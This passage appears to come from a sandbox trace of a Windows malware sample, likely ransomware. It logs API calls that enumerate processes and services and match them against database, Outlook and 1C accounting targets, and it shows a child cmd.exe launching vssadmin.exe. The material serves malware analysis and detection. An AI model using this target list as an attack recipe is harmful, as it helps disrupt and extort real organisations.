lpString2="csrss.exe") returned 1 [0149.636] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.636] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0149.636] lstrlenW (lpString="wininit.exe") returned 11 [0149.636] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0149.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0149.636] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0149.636] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0149.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0149.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0149.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0149.636] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.637] lstrlenW (lpString="csrss.exe") returned 9 [0149.637] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.637] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.637] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.637] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0149.637] lstrlenW (lpString="winlogon.exe") returned 12 [0149.637] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0149.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0149.637] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0149.637] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0149.638] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0149.638] lstrlenW (lpString="services.exe") returned 12 [0149.638] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0149.638] lstrlenW (lpString="lsass.exe") returned 9 [0149.638] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0149.639] lstrlenW (lpString="lsm.exe") returned 7 [0149.639] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.639] lstrlenW (lpString="svchost.exe") returned 11 [0149.639] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.639] lstrlenW (lpString="svchost.exe") returned 11 [0149.639] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.640] lstrlenW (lpString="svchost.exe") returned 11 [0149.640] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.640] lstrlenW (lpString="svchost.exe") returned 11 [0149.640] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.640] lstrlenW (lpString="svchost.exe") returned 11 [0149.640] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0149.641] lstrlenW (lpString="audiodg.exe") returned 11 [0149.641] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.641] lstrlenW (lpString="svchost.exe") returned 11 [0149.641] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0149.641] lstrlenW (lpString="userinit.exe") returned 12 [0149.641] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0149.642] lstrlenW (lpString="explorer.exe") returned 12 [0149.642] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0149.642] lstrlenW (lpString="dwm.exe") returned 7 [0149.642] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.643] lstrlenW (lpString="svchost.exe") returned 11 [0149.643] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0149.643] lstrlenW (lpString="n.exe") returned 5 [0149.643] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0149.643] lstrlenW (lpString="spoolsv.exe") returned 11 [0149.643] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.644] lstrlenW (lpString="svchost.exe") returned 11 [0149.644] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0149.644] lstrlenW (lpString="taskhost.exe") returned 12 [0149.644] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0149.644] lstrlenW (lpString="reader_sl.exe") returned 13 [0149.644] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0149.645] lstrlenW (lpString="rundll32.exe") returned 12 [0149.645] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0149.645] lstrlenW (lpString="dinotify.exe") returned 12 [0149.645] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0149.645] lstrlenW (lpString="n.exe") returned 5 [0149.645] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0149.646] lstrlenW (lpString="cmd.exe") returned 7 [0149.646] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.646] lstrlenW (lpString="conhost.exe") returned 11 [0149.646] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x700, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0149.647] lstrlenW (lpString="vssadmin.exe") returned 12 [0149.647] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x700, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0149.647] CloseHandle (hObject=0x2ac) returned 1 [0149.647] Sleep (dwMilliseconds=0x1f4) [0150.428] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dcb28 [0150.430] EnumServicesStatusExW (in: hSCManager=0x42dcb28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0150.431] GetLastError () returned 0xea [0150.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1178) returned 0x42a10a8 [0150.431] EnumServicesStatusExW (in: hSCManager=0x42dcb28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a10a8, cbBufSize=0x1178, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a10a8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0150.447] CloseServiceHandle (hSCObject=0x42dcb28) returned 1 [0150.448] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0150.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.448] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0150.448] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0150.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0150.448] lstrlenW (lpString="AudioSrv") returned 8 [0150.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0150.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0150.448] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0150.448] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0150.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0150.448] lstrlenW (lpString="BFE") returned 3 [0150.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0150.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0150.448] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0150.448] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0150.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0150.448] lstrlenW (lpString="CryptSvc") returned 8 [0150.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0150.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0150.448] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0150.448] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0150.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0150.448] lstrlenW (lpString="CscService") returned 10 [0150.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0150.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0150.448] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0150.448] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0150.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0150.449] lstrlenW (lpString="DcomLaunch") returned 10 [0150.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.449] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0150.449] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0150.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0150.449] lstrlenW (lpString="Dhcp") returned 4 [0150.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0150.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0150.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0150.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0150.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0150.449] lstrlenW (lpString="Dnscache") returned 8 [0150.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0150.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0150.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0150.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0150.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0150.449] lstrlenW (lpString="DPS") returned 3 [0150.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0150.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0150.449] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0150.449] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0150.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0150.449] lstrlenW (lpString="eventlog") returned 8 [0150.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0150.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0150.449] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0150.449] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0150.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0150.450] lstrlenW (lpString="EventSystem") returned 11 [0150.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0150.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0150.450] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0150.450] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0150.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0150.450] lstrlenW (lpString="gpsvc") returned 5 [0150.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0150.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0150.450] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0150.450] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0150.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0150.450] lstrlenW (lpString="iphlpsvc") returned 8 [0150.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.450] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0150.450] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0150.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0150.450] lstrlenW (lpString="LanmanServer") returned 12 [0150.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0150.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0150.450] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0150.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0150.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0150.450] lstrlenW (lpString="LanmanWorkstation") returned 17 [0150.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.450] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0150.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0150.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0150.451] lstrlenW (lpString="lmhosts") returned 7 [0150.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0150.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0150.451] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0150.451] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0150.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0150.451] lstrlenW (lpString="MMCSS") returned 5 [0150.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0150.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0150.451] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0150.451] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0150.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0150.451] lstrlenW (lpString="MpsSvc") returned 6 [0150.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0150.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0150.451] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0150.451] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0150.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0150.451] lstrlenW (lpString="Netman") returned 6 [0150.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0150.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0150.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0150.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0150.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0150.451] lstrlenW (lpString="netprofm") returned 8 [0150.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0150.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0150.451] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0150.451] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0150.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0150.451] lstrlenW (lpString="NlaSvc") returned 6 [0150.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0150.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0150.452] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0150.452] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0150.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0150.452] lstrlenW (lpString="nsi") returned 3 [0150.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0150.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0150.452] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0150.452] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0150.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0150.452] lstrlenW (lpString="PcaSvc") returned 6 [0150.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0150.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0150.452] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0150.452] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0150.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0150.452] lstrlenW (lpString="PlugPlay") returned 8 [0150.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0150.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0150.452] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0150.452] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0150.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0150.452] lstrlenW (lpString="Power") returned 5 [0150.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0150.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0150.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0150.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0150.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0150.452] lstrlenW (lpString="ProfSvc") returned 7 [0150.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0150.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0150.453] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0150.453] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0150.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0150.453] lstrlenW (lpString="RpcEptMapper") returned 12 [0150.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.453] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0150.453] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0150.453] lstrcmpiW (lpString1="sqlserveradhelper", 